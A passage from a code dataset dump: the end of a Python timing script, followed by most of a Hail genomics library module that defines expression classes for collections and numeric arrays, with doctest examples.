N_iter:\n thisLineup = sorted(sample(range(1,n), round(0.7*n)))\n start = time.perf_counter()\n theseContigs = getContigs(thisLineup)\n end = time.perf_counter()\n delta = end - start\n contigsDict[str(n)] = {\"time\":delta, \"contigs\":theseContigs}\n \nprint([[contigsDict[k][\"time\"], len(contigsDict[k][\"contigs\"])] for k in contigsDict.keys()])\n","sub_path":"getContigs_evaluation.py","file_name":"getContigs_evaluation.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"311186572","text":"from __future__ import print_function # Python 2 and 3 print compatibility\n\nfrom hail.expr.ast import *\nfrom hail.expr.types import *\nfrom hail.utils.java import *\nfrom hail.utils.linkedlist import LinkedList\nfrom hail.genetics import Locus, Variant, Interval, Call, AltAllele\nfrom hail.typecheck import *\nfrom collections import Mapping\n\nclass Indices(object):\n @typecheck_method(source=anytype, axes=setof(strlike))\n def __init__(self, source=None, axes=set()):\n self.source = source\n self.axes = axes\n\n def __eq__(self, other):\n return isinstance(other, Indices) and self.source is other.source and self.axes == other.axes\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n @staticmethod\n def unify(*indices):\n axes = set()\n src = None\n for ind in indices:\n if src is None:\n src = ind.source\n else:\n if ind.source is not None and ind.source is not src:\n raise ExpressionException()\n\n both = axes.intersection(ind.axes)\n left_only = axes - both\n right_only = ind.axes - both\n\n axes = axes.union(ind.axes)\n\n return Indices(src, axes)\n\n def __str__(self):\n return 'Indices(axes={}, source={})'.format(self.axes, self.source)\n\n def __repr__(self):\n return 'Indices(axes={}, source={})'.format(repr(self.axes), repr(self.source))\n\nclass Aggregation(object):\n def __init__(self, indices, refs):\n self.indices = indices\n self.refs = refs\n\n\nclass Join(object):\n def __init__(self, join_function, temp_vars):\n self.join_function = join_function\n self.temp_vars = temp_vars\n\n\n@typecheck(ast=AST, type=Type, indices=Indices, aggregations=LinkedList, joins=LinkedList, refs=LinkedList)\ndef construct_expr(ast, type, indices=Indices(), aggregations=LinkedList(Aggregation), joins=LinkedList(Join),\n refs=LinkedList(tuple)):\n if isinstance(type, TArray) and type.element_type.__class__ in elt_typ_to_array_expr:\n return elt_typ_to_array_expr[type.element_type.__class__](ast, type, indices, aggregations, joins, refs)\n elif isinstance(type, TSet) and type.element_type.__class__ in elt_typ_to_set_expr:\n return elt_typ_to_set_expr[type.element_type.__class__](ast, type, indices, aggregations, joins, refs)\n elif type.__class__ in typ_to_expr:\n return typ_to_expr[type.__class__](ast, type, indices, aggregations, joins, refs)\n else:\n raise NotImplementedError(type)\n\n@typecheck(name=strlike, type=Type, indices=Indices, prefix=nullable(strlike))\ndef construct_reference(name, type, indices, prefix=None):\n if prefix is not None:\n ast = Select(Reference(prefix, True), name)\n else:\n ast = Reference(name, True)\n return construct_expr(ast, type, indices, refs=LinkedList(tuple).push((name, indices)))\n\ndef to_expr(e):\n if isinstance(e, Expression):\n return e\n elif isinstance(e, str) or isinstance(e, unicode):\n return construct_expr(Literal('\"{}\"'.format(Env.jutils().escapePyString(e))), TString())\n elif isinstance(e, bool):\n return construct_expr(Literal(\"true\" if e else \"false\"), TBoolean())\n elif isinstance(e, int):\n return construct_expr(Literal(str(e)), TInt32())\n elif isinstance(e, long):\n return construct_expr(ClassMethod('toInt64', Literal('\"{}\"'.format(e))), TInt64())\n elif isinstance(e, float):\n return construct_expr(Literal(str(e)), TFloat64())\n elif isinstance(e, Variant):\n return construct_expr(ApplyMethod('Variant', Literal('\"{}\"'.format(str(e)))), TVariant(e.reference_genome))\n elif isinstance(e, Locus):\n return construct_expr(ApplyMethod('Locus', Literal('\"{}\"'.format(str(e)))), TLocus(e.reference_genome))\n elif isinstance(e, Interval):\n return construct_expr(ApplyMethod('LocusInterval', Literal('\"{}\"'.format(str(e)))), TInterval(TLocus(e.reference_genome)))\n elif isinstance(e, Call):\n return construct_expr(ApplyMethod('Call', Literal(str(e.gt))), TCall())\n elif isinstance(e, AltAllele):\n return construct_expr(ApplyMethod('AltAllele', to_expr(e.ref)._ast, to_expr(e.alt)._ast), TAltAllele())\n elif isinstance(e, Struct):\n attrs = e._fields.items()\n cols = [to_expr(x) for _, x in attrs]\n names = [k for k, _ in attrs]\n indices, aggregations, joins, refs = unify_all(*cols)\n t = TStruct(names, [col._type for col in cols])\n return construct_expr(StructDeclaration(names, [c._ast for c in cols]),\n t, indices, aggregations, joins, refs)\n elif isinstance(e, list):\n cols = [to_expr(x) for x in e]\n types = list({col._type for col in cols})\n if len(cols) == 0:\n raise ExpressionException('Cannot convert empty list to expression.')\n elif len(types) == 1:\n t = TArray(types[0])\n elif all([is_numeric(t) for t in types]):\n t = TArray(convert_numeric_typ(*types))\n else:\n raise ExpressionException('Cannot convert list with heterogeneous key types to expression.'\n '\\n Found types: {}.'.format(types))\n indices, aggregations, joins, refs = unify_all(*cols)\n return construct_expr(ArrayDeclaration([col._ast for col in cols]),\n t, indices, aggregations, joins, refs)\n elif isinstance(e, set):\n cols = [to_expr(x) for x in e]\n types = list({col._type for col in cols})\n if len(cols) == 0:\n raise ExpressionException('Cannot convert empty set to expression.')\n elif len(types) == 1:\n t = TSet(types[0])\n elif all([is_numeric(t) for t in types]):\n t = TSet(convert_numeric_typ(*types))\n else:\n raise ExpressionException('Cannot convert set with heterogeneous key types to expression.'\n '\\n Found types: {}.'.format(types))\n indices, aggregations, joins, refs = unify_all(*cols)\n return construct_expr(ClassMethod('toSet', ArrayDeclaration([col._ast for col in cols])), t, indices,\n aggregations, joins, refs)\n elif isinstance(e, dict):\n key_cols = []\n value_cols = []\n keys = []\n values = []\n for k, v in e.items():\n key_cols.append(to_expr(k))\n keys.append(k)\n value_cols.append(to_expr(v))\n values.append(v)\n key_types = list({col._type for col in key_cols})\n value_types = list({col._type for col in value_cols})\n\n if len(key_types) == 0:\n raise ExpressionException('Cannot convert empty dictionary to expression.')\n elif len(key_types) == 1:\n key_type = key_types[0]\n elif all([is_numeric(t) for t in key_types]):\n key_type = convert_numeric_typ(*key_types)\n else:\n raise ExpressionException('Cannot convert dictionary with heterogeneous key types to expression.'\n '\\n Found types: {}.'.format(key_types))\n\n if len(value_types) == 1:\n value_type = value_types[0]\n elif all([is_numeric(t) for t in value_types]):\n value_type = convert_numeric_typ(*value_types)\n else:\n raise ExpressionException('Cannot convert dictionary with heterogeneous value types to expression.'\n '\\n Found types: {}.'.format(value_types))\n\n kc = to_expr(keys)\n vc = to_expr(values)\n\n indices, aggregations, joins, refs = unify_all(kc, vc)\n\n assert key_type == kc._type.element_type\n assert value_type == vc._type.element_type\n\n ast = ApplyMethod('Dict',\n ArrayDeclaration([k._ast for k in key_cols]),\n ArrayDeclaration([v._ast for v in value_cols]))\n return construct_expr(ast, TDict(key_type, value_type), indices, aggregations, joins, refs)\n else:\n raise ExpressionException(\"Cannot implicitly convert value '{}' of type '{}' to expression.\".format(\n e, e.__class__))\n\n\n_lazy_int32 = lazy()\n_lazy_numeric = lazy()\n_lazy_array = lazy()\n_lazy_set = lazy()\n_lazy_bool = lazy()\n_lazy_struct = lazy()\n_lazy_string = lazy()\n_lazy_variant = lazy()\n_lazy_locus = lazy()\n_lazy_altallele = lazy()\n_lazy_interval = lazy()\n_lazy_call = lazy()\n_lazy_expr = lazy()\n\nexpr_int32 = transformed((_lazy_int32, identity),\n (integral, to_expr))\nexpr_numeric = transformed((_lazy_numeric, identity),\n (integral, to_expr),\n (float, to_expr))\nexpr_list = transformed((list, to_expr),\n (_lazy_array, identity))\nexpr_set = transformed((set, to_expr),\n (_lazy_set, identity))\nexpr_bool = transformed((bool, to_expr),\n (_lazy_bool, identity))\nexpr_struct = transformed((Struct, to_expr),\n (_lazy_struct, identity))\nexpr_str = transformed((strlike, to_expr),\n (_lazy_string, identity))\nexpr_variant = transformed((Variant, to_expr),\n (_lazy_variant, identity))\nexpr_locus = transformed((Locus, to_expr),\n (_lazy_locus, identity))\nexpr_altallele = transformed((AltAllele, to_expr),\n (_lazy_altallele, identity))\nexpr_interval = transformed((Interval, to_expr),\n (_lazy_interval, identity))\nexpr_call = transformed((Call, to_expr),\n (_lazy_call, identity))\nexpr_any = transformed((_lazy_expr, identity),\n (anytype, to_expr))\n\ndef unify_all(*exprs):\n assert len(exprs) > 0\n try:\n new_indices = Indices.unify(*[e._indices for e in exprs])\n except ExpressionException:\n # source mismatch\n from collections import defaultdict\n sources = defaultdict(lambda: [])\n for e in exprs:\n for name, inds in e._refs:\n sources[inds.source].append(str(name))\n raise ExpressionException(\"Cannot combine expressions from different source objects.\"\n \"\\n Found fields from {n} objects:{fields}\".format(\n n=len(sources),\n fields=''.join(\"\\n {}: {}\".format(src, fds) for src, fds in sources.items())\n ))\n first, rest = exprs[0], exprs[1:]\n agg = first._aggregations\n joins = first._joins\n refs = first._refs\n for e in rest:\n agg = agg.push(*e._aggregations)\n joins = joins.push(*e._joins)\n refs = refs.push(*e._refs)\n return new_indices, agg, joins, refs\n\n\n__numeric_types = [TInt32, TInt64, TFloat32, TFloat64]\n\n\n@typecheck(t=Type)\ndef is_numeric(t):\n return t.__class__ in __numeric_types\n\n\n@typecheck(types=Type)\ndef convert_numeric_typ(*types):\n priority_map = {t: p for t, p in zip(__numeric_types, range(len(__numeric_types)))}\n priority = 0\n for t in types:\n assert (is_numeric(t)), t\n t_priority = priority_map[t.__class__]\n if t_priority > priority:\n priority = t_priority\n return __numeric_types[priority]()\n\n\nclass Expression(object):\n \"\"\"Base class for Hail expressions.\"\"\"\n\n @typecheck_method(ast=AST, type=Type, indices=Indices, aggregations=LinkedList, joins=LinkedList, refs=LinkedList)\n def __init__(self, ast, type, indices=Indices(), aggregations=LinkedList(Aggregation), joins=LinkedList(Join), refs=LinkedList(tuple)):\n self._ast = ast\n self._type = type\n self._indices = indices\n self._aggregations = aggregations\n self._joins = joins\n self._refs = refs\n\n self._init()\n\n def __str__(self):\n return repr(self)\n\n def __repr__(self):\n s = \"{super_repr}\\n Type: {type}\".format(\n super_repr=super(Expression, self).__repr__(),\n type=str(self._type),\n )\n\n indices = self._indices\n if len(indices.axes) == 0:\n s += '\\n Index{agg}: None'.format(agg=' (aggregated)' if self._aggregations else '')\n else:\n s += '\\n {ind}{agg}:\\n {index_lines}'.format(ind=plural('Index', len(indices.axes), 'Indices'),\n agg=' (aggregated)' if self._aggregations else '',\n index_lines='\\n '.join('{} of {}'.format(\n axis, indices.source) for axis in indices.axes))\n if self._joins:\n s += '\\n Dependent on {} {}'.format(len(self._joins),\n plural('broadcast/join', len(self._joins), 'broadcasts/joins'))\n return s\n\n def __lt__(self, other):\n raise NotImplementedError(\"'<' comparison with expression of type {}\".format(str(self._type)))\n\n def __le__(self, other):\n raise NotImplementedError(\"'<=' comparison with expression of type {}\".format(str(self._type)))\n\n def __gt__(self, other):\n raise NotImplementedError(\"'>' comparison with expression of type {}\".format(str(self._type)))\n\n def __ge__(self, other):\n raise NotImplementedError(\"'>=' comparison with expression of type {}\".format(str(self._type)))\n\n def _init(self):\n pass\n\n def __nonzero__(self):\n raise NotImplementedError(\n \"The truth value of an expression is undefined\\n Hint: instead of if/else, use 'f.cond'\")\n\n def _unary_op(self, name):\n return construct_expr(UnaryOperation(self._ast, name),\n self._type, self._indices, self._aggregations, self._joins, self._refs)\n\n def _bin_op(self, name, other, ret_typ):\n other = to_expr(other)\n indices, aggregations, joins, refs = unify_all(self, other)\n return construct_expr(BinaryOperation(self._ast, other._ast, name), ret_typ, indices, aggregations, joins, refs)\n\n def _bin_op_reverse(self, name, other, ret_typ):\n other = to_expr(other)\n indices, aggregations, joins, refs = unify_all(self, other)\n return construct_expr(BinaryOperation(other._ast, self._ast, name), ret_typ, indices, aggregations, joins, refs)\n\n def _field(self, name, ret_typ):\n return construct_expr(Select(self._ast, name), ret_typ, self._indices,\n self._aggregations, self._joins, self._refs)\n\n def _method(self, name, ret_typ, *args):\n args = tuple(to_expr(arg) for arg in args)\n indices, aggregations, joins, refs = unify_all(self, *args)\n return construct_expr(ClassMethod(name, self._ast, *(a._ast for a in args)),\n ret_typ, indices, aggregations, joins, refs)\n\n def _index(self, ret_typ, key):\n key = to_expr(key)\n indices, aggregations, joins, refs = unify_all(self, key)\n return construct_expr(Index(self._ast, key._ast),\n ret_typ, indices, aggregations, joins, refs)\n\n def _slice(self, ret_typ, start=None, stop=None, step=None):\n if start is not None:\n start = to_expr(start)\n start_ast = start._ast\n else:\n start_ast = None\n if stop is not None:\n stop = to_expr(stop)\n stop_ast = stop._ast\n else:\n stop_ast = None\n if step is not None:\n raise NotImplementedError('Variable slice step size is not currently supported')\n\n non_null = [x for x in [start, stop] if x is not None]\n indices, aggregations, joins, refs = unify_all(self, *non_null)\n return construct_expr(Index(self._ast, Slice(start_ast, stop_ast)),\n ret_typ, indices, aggregations, joins, refs)\n\n def _bin_lambda_method(self, name, f, inp_typ, ret_typ_f, *args):\n args = (to_expr(arg) for arg in args)\n new_id = Env._get_uid()\n lambda_result = to_expr(\n f(construct_expr(Reference(new_id), inp_typ, self._indices, self._aggregations, self._joins, self._refs)))\n indices, aggregations, joins, refs = unify_all(self, lambda_result)\n ast = LambdaClassMethod(name, new_id, self._ast, lambda_result._ast, *(a._ast for a in args))\n return construct_expr(ast, ret_typ_f(lambda_result._type), indices, aggregations, joins, refs)\n\n @property\n def dtype(self):\n \"\"\"The data type of the expression.\n\n Returns\n -------\n :class:`.Type`\n Data type.\n \"\"\"\n return self._type\n\n def __eq__(self, other):\n \"\"\"Returns ``True`` if the two epressions are equal.\n\n Examples\n --------\n\n .. doctest::\n\n >>> x = functions.capture(5)\n >>> y = functions.capture(5)\n >>> z = functions.capture(1)\n\n >>> eval_expr(x == y)\n True\n\n >>> eval_expr(x == z)\n False\n\n Notes\n -----\n This method will fail with an error if the two expressions are not\n of comparable types.\n\n Parameters\n ----------\n other : :class:`.Expression`\n Expression for equality comparison.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the two expressions are equal.\n \"\"\"\n return self._bin_op(\"==\", other, TBoolean())\n\n def __ne__(self, other):\n \"\"\"Returns ``True`` if the two expressions are not equal.\n\n Examples\n --------\n\n .. doctest::\n\n >>> x = functions.capture(5)\n >>> y = functions.capture(5)\n >>> z = functions.capture(1)\n\n >>> eval_expr(x != y)\n False\n\n >>> eval_expr(x != z)\n True\n\n Notes\n -----\n This method will fail with an error if the two expressions are not\n of comparable types.\n\n Parameters\n ----------\n other : :class:`.Expression`\n Expression for inequality comparison.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the two expressions are not equal.\n \"\"\"\n return self._bin_op(\"!=\", other, TBoolean())\n\n\nclass CollectionExpression(Expression):\n \"\"\"Expression of type :py:class:`hail.expr.types.TArray` or :py:class:`hail.expr.types.TSet`\n\n >>> a = functions.capture([1, 2, 3, 4, 5])\n\n >>> s = functions.capture({'Alice', 'Bob', 'Charlie'})\n \"\"\"\n\n def exists(self, f):\n \"\"\"Returns ``True`` if `f` returns ``True`` for any element.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.exists(lambda x: x % 2 == 0))\n True\n\n >>> eval_expr(s.exists(lambda x: x[0] == 'D'))\n False\n\n Notes\n -----\n This method always returns ``False`` for empty collections.\n\n Parameters\n ----------\n f : callable\n Function to evaluate for each element of the collection. Must return a\n :py:class:`BooleanExpression`.\n\n Returns\n -------\n :py:class:`BooleanExpression`.\n ``True`` if `f` returns ``True`` for any element, ``False`` otherwise.\n \"\"\"\n return self._bin_lambda_method(\"exists\", f, self._type.element_type, lambda t: TBoolean())\n\n def filter(self, f):\n \"\"\"Returns a new collection containing elements where `f` returns ``True``.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.filter(lambda x: x % 2 == 0))\n [2, 4]\n\n >>> eval_expr(s.filter(lambda x: ~(x[-1] == 'e')))\n {'Bob'}\n\n Notes\n -----\n Returns a same-type expression; evaluated on a :py:class:`SetExpression`, returns a\n :py:class:`SetExpression`. Evaluated on an :py:class:`ArrayExpression`,\n returns an :py:class:`ArrayExpression`.\n\n Parameters\n ----------\n f : callable\n Function to evaluate for each element of the collection. Must return a\n :py:class:`BooleanExpression`.\n\n Returns\n -------\n :py:class:`CollectionExpression`\n Expression of the same type as the callee.\n \"\"\"\n return self._bin_lambda_method(\"filter\", f, self._type.element_type, lambda t: self._type)\n\n def find(self, f):\n \"\"\"Returns the first element where `f` returns ``True``.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.find(lambda x: x ** 2 > 20))\n 5\n\n >>> eval_expr(s.find(lambda x: x[0] == 'D'))\n None\n\n Notes\n -----\n If `f` returns ``False`` for every element, then the result is missing.\n\n Parameters\n ----------\n f : callable\n Function to evaluate for each element of the collection. Must return a\n :py:class:`BooleanExpression`.\n\n Returns\n -------\n :py:class:`.Expression`\n Expression whose type is the element type of the collection.\n \"\"\"\n return self._bin_lambda_method(\"find\", f, self._type.element_type, lambda t: self._type.element_type)\n\n def flatmap(self, f):\n \"\"\"Map each element of the collection to a new collection, and flatten the results.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.flatmap(lambda x: functions.range(0, x)))\n [0, 0, 1, 0, 1, 2, 0, 1, 2, 3, 0, 1, 2, 3, 4]\n\n >>> eval_expr(s.flatmap(lambda x: functions.range(0, x.length()).map(lambda i: x[i]).to_set()))\n {'A', 'B', 'C', 'a', 'b', 'c', 'e', 'h', 'i', 'l', 'o', 'r'}\n\n Parameters\n ----------\n f : callable\n Function from the element type of the collection to the type of the\n collection. For instance, `flatmap` on a ``Set[String]`` should take\n a ``String`` and return a ``Set``.\n\n Returns\n -------\n :py:class:`CollectionExpression`\n \"\"\"\n return self._bin_lambda_method(\"flatMap\", f, self._type.element_type, lambda t: t)\n\n def forall(self, f):\n \"\"\"Returns ``True`` if `f` returns ``True`` for every element.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.forall(lambda x: x < 10))\n True\n\n Notes\n -----\n This method returns ``True`` if the collection is empty.\n\n Parameters\n ----------\n f : callable\n Function to evaluate for each element of the collection. Must return a\n :py:class:`BooleanExpression`.\n\n Returns\n -------\n :py:class:`BooleanExpression`.\n ``True`` if `f` returns ``True`` for every element, ``False`` otherwise.\n \"\"\"\n return self._bin_lambda_method(\"forall\", f, self._type.element_type, lambda t: TBoolean())\n\n def group_by(self, f):\n \"\"\"Group elements into a dict according to a lambda function.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.group_by(lambda x: x % 2 == 0))\n {False: [1, 3, 5], True: [2, 4]}\n\n >>> eval_expr(s.group_by(lambda x: x.length()))\n {3: {'Bob'}, 5: {'Alice'}, 7: {'Charlie'}}\n\n Parameters\n ----------\n f : callable\n Function to evaluate for each element of the collection to produce a key for the\n resulting dictionary.\n\n Returns\n -------\n :py:class:`DictExpression`.\n Dictionary keyed by results of `f`.\n \"\"\"\n return self._bin_lambda_method(\"groupBy\", f, self._type.element_type, lambda t: TDict(t, self._type))\n\n def map(self, f):\n \"\"\"Transform each element of a collection.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.map(lambda x: x ** 3))\n [1.0, 8.0, 27.0, 64.0, 125.0]\n\n >>> eval_expr(s.map(lambda x: x.length()))\n {3, 5, 7}\n\n Parameters\n ----------\n f : callable\n Function to transform each element of the collection.\n\n Returns\n -------\n :py:class:`CollectionExpression`.\n Collection where each element has been transformed according to `f`.\n \"\"\"\n return self._bin_lambda_method(\"map\", f, self._type.element_type, lambda t: self._type.__class__(t))\n\n def length(self):\n \"\"\"Returns the size of a collection.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.length())\n 5\n\n >>> eval_expr(s.length())\n 3\n\n Returns\n -------\n :py:class:`hail.expr.Int32Expression`\n The number of elements in the collection.\n \"\"\"\n return self._method(\"size\", TInt32())\n\n def size(self):\n \"\"\"Returns the size of a collection.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.size())\n 5\n\n >>> eval_expr(s.size())\n 3\n\n Returns\n -------\n :py:class:`hail.expr.Int32Expression`\n The number of elements in the collection.\n \"\"\"\n return self._method(\"size\", TInt32())\n\n\nclass CollectionNumericExpression(CollectionExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` or :class:`hail.expr.types.TSet` with numeric element type.\n\n >>> a = functions.capture([1, 2, 3, 4, 5])\n \"\"\"\n\n def max(self):\n \"\"\"Returns the maximum element.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.max())\n 5\n\n Returns\n -------\n :py:class:`NumericExpression`\n The maximum value in the collection.\n \"\"\"\n return self._method(\"max\", self._type.element_type)\n\n def min(self):\n \"\"\"Returns the minimum element.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.min())\n 1\n\n Returns\n -------\n :py:class:`NumericExpression`\n The miniumum value in the collection.\n \"\"\"\n return self._method(\"min\", self._type.element_type)\n\n def mean(self):\n \"\"\"Returns the mean of all values in the collection.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.mean())\n 3.0\n\n Note\n ----\n Missing elements are ignored.\n\n Returns\n -------\n :py:class:`Float64Expression`\n The mean value of the collection.\n \"\"\"\n return self._method(\"mean\", TFloat64())\n\n def median(self):\n \"\"\"Returns the median element.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.median())\n 3\n\n Note\n ----\n Missing elements are ignored.\n\n Returns\n -------\n :py:class:`NumericExpression`\n The median value in the collection.\n \"\"\"\n return self._method(\"median\", self._type.element_type)\n\n def product(self):\n \"\"\"Returns the product of all elements in the collection.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.product())\n 120\n\n Note\n ----\n Missing elements are ignored.\n\n Returns\n -------\n :py:class:`NumericExpression`\n The product of the collection.\n \"\"\"\n return self._method(\"product\",\n TInt64() if isinstance(self._type.element_type, TInt32) or\n isinstance(self._type.element_type, TInt64) else TFloat64())\n\n def sum(self):\n \"\"\"Returns the sum of all elements in the collection.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.sum())\n 15\n\n Note\n ----\n Missing elements are ignored.\n\n Returns\n -------\n :py:class:`NumericExpression`\n The sum of the collection.\n \"\"\"\n return self._method(\"sum\", self._type.element_type)\n\n\nclass ArrayExpression(CollectionExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray`.\n\n >>> a = functions.capture(['Alice', 'Bob', 'Charlie'])\n \"\"\"\n def __getitem__(self, item):\n \"\"\"Index into or slice the array.\n\n Examples\n --------\n\n Index with a single integer:\n\n .. doctest::\n\n >>> eval_expr(a[1])\n 'Bob'\n\n >>> eval_expr(a[-1])\n 'Charlie'\n\n Slicing is also supported:\n\n .. doctest::\n\n >>> eval_expr(a[1:])\n ['Bob', 'Charlie']\n\n Parameters\n ----------\n item : slice or :class:`Int32Expression`\n Index or slice.\n\n Returns\n -------\n :class:`.Expression`\n Element or array slice.\n \"\"\"\n if isinstance(item, slice):\n return self._slice(self._type, item.start, item.stop, item.step)\n elif isinstance(item, int) or isinstance(item, Int32Expression):\n return self._index(self._type.element_type, item)\n else:\n raise NotImplementedError\n\n @typecheck_method(item=expr_any)\n def contains(self, item):\n \"\"\"Returns a boolean indicating whether `item` is found in the array.\n\n Examples\n --------\n\n .. doctest::\n\n >>> eval_expr(a.contains('Charlie'))\n True\n\n >>> eval_expr(a.contains('Helen'))\n False\n\n Parameters\n ----------\n item : :class:`.Expression`\n Item for inclusion test.\n\n Warning\n -------\n This method takes time proportional to the length of the array. If a\n pipeline uses this method on the same array several times, it may be\n more efficient to convert the array to a set first\n (:meth:`ArrayExpression.to_set`).\n\n Returns\n -------\n :py:class:`BooleanExpression`\n ``True`` if the element is found in the array, ``False`` otherwise.\n \"\"\"\n return self.exists(lambda x: x == item)\n\n @typecheck_method(x=expr_any)\n def append(self, x):\n \"\"\"Append an element to the array and return the result.\n\n Examples\n --------\n\n .. doctest::\n\n >>> eval_expr(a.append('Dan'))\n ['Alice', 'Bob', 'Charlie', 'Dan']\n\n Parameters\n ----------\n x : :class:`.Expression`\n Element to append, same type as the array element type.\n\n Returns\n -------\n :py:class:`ArrayExpression`\n \"\"\"\n return self._method(\"append\", self._type, x)\n\n @typecheck_method(a=expr_list)\n def extend(self, a):\n \"\"\"Concatenate two arrays and return the result.\n\n Examples\n --------\n\n .. doctest::\n\n >>> eval_expr(a.extend(['Dan', 'Edith']))\n ['Alice', 'Bob', 'Charlie', 'Dan', 'Edith']\n\n Parameters\n ----------\n a : :class:`ArrayExpression`\n Array to concatenate, same type as the callee.\n\n Returns\n -------\n :py:class:`ArrayExpression`\n \"\"\"\n return self._method(\"extend\", self._type, a)\n\n def sort_by(self, f, ascending=True):\n \"\"\"Sort the array according to a function.\n\n Examples\n --------\n\n .. doctest::\n\n >>> eval_expr(a.sort_by(lambda x: x, ascending=False))\n ['Charlie', 'Bob', 'Alice']\n\n Parameters\n ----------\n f : callable\n Function to evaluate per element to obtain the sort key.\n ascending : bool or :py:class:`BooleanExpression`\n Sort in ascending order.\n\n Returns\n -------\n :py:class:`ArrayExpression`\n \"\"\"\n return self._bin_lambda_method(\"sortBy\", f, self._type.element_type, lambda t: self._type, ascending)\n\n def to_set(self):\n \"\"\"Convert the array to a set.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.to_set())\n {'Alice', 'Bob', 'Charlie'}\n\n Returns\n -------\n :py:class:`SetExpression`\n Set of all unique elements.\n \"\"\"\n return self._method(\"toSet\", TSet(self._type.element_type))\n\n\nclass ArrayNumericExpression(ArrayExpression, CollectionNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with a numeric type.\n\n Numeric arrays support arithmetic both with scalar values and other arrays.\n Arithmetic between two numeric arrays requires that the length of each array\n is identical, and will apply the operation positionally (``a1 * a2`` will\n multiply the first element of ``a1`` by the first element of ``a2``, the\n second element of ``a1`` by the second element of ``a2``, and so on).\n Arithmetic with a scalar will apply the operation to each element of the\n array.\n\n >>> a1 = functions.capture([0, 1, 2, 3, 4, 5])\n\n >>> a2 = functions.capture([1, -1, 1, -1, 1, -1])\n\n \"\"\"\n\n def _bin_op_ret_typ(self, other):\n if isinstance(self, ArrayNumericExpression) and isinstance(other, float):\n return TArray(TFloat64())\n\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, Float64Expression):\n return TArray(TFloat64())\n elif isinstance(self, Float64Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TFloat64())\n elif isinstance(self, ArrayFloat64Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TFloat64())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, ArrayFloat64Expression):\n return TArray(TFloat64())\n\n elif isinstance(self, Float32Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TFloat32())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, Float32Expression):\n return TArray(TFloat32())\n elif isinstance(self, ArrayFloat32Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TFloat32())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, ArrayFloat32Expression):\n return TArray(TFloat32())\n\n elif isinstance(self, ArrayInt64Expression) and isinstance(other, int):\n return TArray(TInt64())\n elif isinstance(self, Int64Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TInt64())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, Int64Expression):\n return TArray(TInt64())\n elif isinstance(self, ArrayInt64Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TInt64())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, ArrayInt64Expression):\n return TArray(TInt64())\n\n elif isinstance(self, ArrayInt32Expression) and isinstance(other, int):\n return TArray(TInt32())\n elif isinstance(self, Int32Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TInt32())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, Int32Expression):\n return TArray(TInt32())\n elif isinstance(self, ArrayInt32Expression) and isinstance(other, ArrayNumericExpression):\n return TArray(TInt32())\n elif isinstance(self, ArrayNumericExpression) and isinstance(other, ArrayInt32Expression):\n return TArray(TInt32())\n\n else:\n raise NotImplementedError('''Error in return type for numeric conversion.\n self = {}\n other = {}'''.format(type(self), type(other)))\n\n def _bin_op_numeric(self, name, other):\n other = to_expr(other)\n ret_typ = self._bin_op_ret_typ(other)\n return self._bin_op(name, other, ret_typ)\n\n def _bin_op_numeric_reverse(self, name, other):\n other = to_expr(other)\n ret_typ = self._bin_op_ret_typ(other)\n return self._bin_op_reverse(name, other, ret_typ)\n\n def __add__(self, other):\n \"\"\"Positionally add an array or a scalar.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a1 + 5)\n [5, 6, 7, 8, 9, 10]\n\n >>> eval_expr(a1 + a2)\n [1, 0, 3, 2, 5, 4]\n\n Parameters\n ----------\n other : :class:`NumericExpression` or :class:`ArrayNumericExpression`\n Value or array to add.\n\n Returns\n -------\n :class:`ArrayNumericExpression`\n Array of positional sums.\n \"\"\"\n return self._bin_op_numeric(\"+\", other)\n\n def __radd__(self, other):\n return self._bin_op_numeric_reverse(\"+\", other)\n\n def __sub__(self, other):\n \"\"\"Positionally subtract an array or a scalar.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a2 - 1)\n [0, -2, 0, -2, 0, -2]\n\n >>> eval_expr(a1 - a2)\n [-1, 2, 1, 4, 3, 6]\n\n Parameters\n ----------\n other : :class:`NumericExpression` or :class:`ArrayNumericExpression`\n Value or array to subtract.\n\n Returns\n -------\n :class:`ArrayNumericExpression`\n Array of positional differences.\n \"\"\"\n return self._bin_op_numeric(\"-\", other)\n\n def __rsub__(self, other):\n return self._bin_op_numeric_reverse(\"-\", other)\n\n def __mul__(self, other):\n 